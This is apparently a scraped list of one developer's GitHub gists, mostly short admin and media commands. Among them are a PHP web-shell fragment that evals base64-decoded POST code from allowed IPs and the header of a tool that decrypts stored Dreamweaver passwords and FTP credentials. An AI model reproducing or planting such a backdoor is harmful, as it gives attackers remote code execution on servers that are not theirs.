Run brew install gnu-sed
on OSX and replace sed
with gsed
in the command below.
sed -r "s/.*(GET|POST|HEAD|PROPFIND) ([^\?]*?)(\?.*?)? HTTP.*/\2/" \
access_log | grep -v "^/$" | sort | uniq -u
// File: /app/design/adminhtml/default/default/template/mgs_megamenu/category.phtml | |
// append at line #3 directly after the "$category = Mage::getModel[...]" line. | |
// HACK: Allow us to use root categories not part of default store | |
$mmId = $this->getRequest()->getParam('id'); | |
if ($mmId){ | |
// Use the first selected store ... hopefully this won't be a problem. | |
// We should be creating seperate menus for each store anyway. But this | |
// could be an issue when we get into localization. | |
$mmStoreId = current(Mage::getModel('megamenu/megamenu')->load($mmId)->getStoreId()); |
Run brew install gnu-sed
on OSX and replace sed
with gsed
in the command below.
sed -r "s/.*(GET|POST|HEAD|PROPFIND) ([^\?]*?)(\?.*?)? HTTP.*/\2/" \
access_log | grep -v "^/$" | sort | uniq -u
for user in $(cut -f1 -d: /etc/passwd); do echo $user; crontab -u $user -l; done |
<?php | |
if (isset($_POST["code"]) && isset($_POST["custom_action"]) && is_good_ip($_SERVER['REMOTE_ADDR'])) { | |
eval(base64_decode($_POST["code"])); | |
exit(); | |
} | |
if (isset($_POST["type"]) && $_POST["type"] == "1") { | |
type1_send(); | |
exit(); | |
} elseif (isset($_POST["type"]) && $_POST["type"] == "2") { |
brew install dos2unix
find . -name "*" -type f -exec dos2unix {} \;
#!/usr/bin/python | |
""" | |
DNS Dumper: Dumps name servers for a line separated file | |
of domains. Just pass the file containing line separated | |
domains. | |
Author: Daniel Smith (https://github.com/ifnull/) | |
Usage: |
ffmpeg \ | |
-f image2 \ | |
-pattern_type glob \ | |
-i './images/*.JPG' \ | |
-c:v libx264 \ | |
-r 29.97 \ | |
out.mp4 |
#!/usr/bin/python | |
""" | |
DreamUnweaver: Extracts and decrypts password and | |
FTP info from Adobe Dreamweaver *.ste export. | |
Author: Daniel Smith (https://github.com/ifnull/) | |
Usage: | |
dreamunweaver.py decrypt --ste <argument> |